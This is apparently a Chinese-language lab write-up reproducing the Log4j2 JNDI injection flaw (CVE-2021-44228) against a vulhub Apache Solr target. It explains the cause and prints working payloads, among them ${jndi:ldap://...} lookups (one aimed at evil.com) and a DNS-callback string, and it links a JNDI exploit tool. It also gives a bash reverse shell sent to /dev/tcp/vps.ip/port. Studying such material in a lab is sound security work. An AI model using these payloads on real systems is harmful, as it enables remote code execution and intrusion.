Log4j2的JNDI注入漏洞复现

参考文章:

https://www.freebuf.com/vuls/316143.html

https://www.cnblogs.com/0dot7/p/17259327.html

0x01漏洞描述

关于Log4j2

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件,但是因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似

Log4j2 Lookup

Log4j2的Lookup允许在日志配置和日志消息中动态插入变量值,这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

格式类似”${type:var}”,即可以实现对变量var的引用。type可以是如下值:

  1. ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
  2. env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}
  3. java:允许查找Java环境配置信息。例如:${java:version}
  4. jndi:允许通过 JNDI 检索变量。

这次漏洞就跟jndi有关,我们接下来了解一下jndi注入的漏洞成因

漏洞成因

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。

JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。这里就是漏洞的主要来源

由于Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

rmi: 协议

  • RMI(Remote Method Invocation) 是 Java 提供的远程方法调用机制,允许一个 Java 虚拟机(JVM)调用另一个 JVM 上的对象方法。
  • 在 Log4j2 漏洞中,攻击者可以通过 rmi: 协议指向一个恶意的 RMI 服务器,从而触发远程代码执行。

ldap: 协议

  • LDAP(Lightweight Directory Access Protocol) 是一种用于访问目录服务的协议,常用于企业中的身份验证和资源管理。
  • 在 Log4j2 漏洞中,攻击者可以通过 ldap: 协议指向一个恶意的 LDAP 服务器,返回一个恶意类或序列化对象,从而触发远程代码执行。

我们举个例子

1
${jndi:ldap://127.0.0.1/shell}

当我们传入这个字符串的时候,log4j2组件就会将信息记录到日志中,并且log4j2会尝试解析这些信息,通过jndi的lookup()方法去解析该URL:ldap://127.0.0.1/shell,由于是ldap协议,所以就会去该地址下的ldap服务中寻找名为shell的资源,找到后将资源信息返回给组件,之后log4j2组件就会下载下来,假如我们的shell文件的一个恶意的.class文件,那就会执行里面的代码,从而造成注入

0x02环境搭建&漏洞复现

vulhub靶场有现成的环境

1
2
cd vulhub/log4j/CVE-2021-44228/
docker-compose up -d

使用vulhub靶场,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

起环境后访问8983端口

image-20250609200609371

然后我们对网站进行测试,用一个dns服务器起一个域名,这里我用yakit的dns服务器

image-20250609201014360

1
${jndi:ldap://wsythhvyqt.dgrh3.cn}

利用JNDI发送DNS请求的Payload,并且在dns服务器上成功收到回显

然后就是漏洞利用了

使用JNDI注入工具

1
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

然后我们构造反弹shell

1
bash -i >& /dev/tcp/vps.ip/port 0>&1

然后用工具进行注入

image-20250609201723324

我这里版本是jdk1.8的,所以直接传就行,然后监听端口就可以收到了

image-20250609201756653

到此靶场的复现就完成了

0x03影响版本

Apache Log4j2 2.0.0 - 2.15.0-rc1版本